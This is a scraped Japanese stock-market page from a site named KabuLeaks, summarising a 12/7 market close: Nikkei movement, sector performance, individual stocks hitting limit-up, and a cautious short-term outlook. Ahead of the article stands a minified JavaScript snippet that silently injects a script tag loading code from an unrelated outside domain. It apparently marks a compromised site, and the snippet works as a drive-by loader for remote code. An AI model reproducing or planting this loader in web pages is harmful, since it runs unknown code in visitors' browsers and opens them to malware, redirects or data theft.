;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/7 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/7 大引け】

本日の日経平均株価は193円高と大幅反発。ただ、後場の日経平均は前場終値付近で始まるものの、その後は上値の重さを意識され上げ幅を縮小。売買代金は2兆円割れ、東証1部出来高は16億5760万株と今年2番目の低さとなった。業種別では、食料品、小売業、サービス業、精密機器などが上昇率上位に。一方、鉱業、パルプ・紙、電気・ガス業、海運業などが値下がり率上位となった。

個別では、先週末ストップ安の【8462】フューチャーベンチャーキャピタルが後場急伸したほか、広帯域ネットワークを利用したコンテンツ配信サービスを手掛けるブイシンクと業務提携の【7519】五洋インテックス。政府が7日昼、サイバー攻撃対策として300を超える機関と約1200人が参加する過去最大規模の官民合同演習を実施すると伝わりセキュリィティー関連【3692】FFRIなどが一段高に。また、金属塑性加工品の生産能力を増強すると発表した【7208】カネミツ、正午に大幅増収・黒字転換の決算を発表した【4824】メディアシークなどがストップ高となった。

前引け前には断続的な先物買いが入り、日経平均は一時1万9800円台を回復したものの2万円台の節目が接近すると上値の重さが目立つ印象。今週はSQを控えるほか、来週にはほぼ利上げは確定的のFOMCを控える。2万円を再び超えるには何かしら強い材料が必要な状況にも見える感じがするだけに目先は上値追いは慎重に、引き続き押し目狙い継続の中小型メイン。再度短期値幅取り中心の相場となる可能性も高そうだ。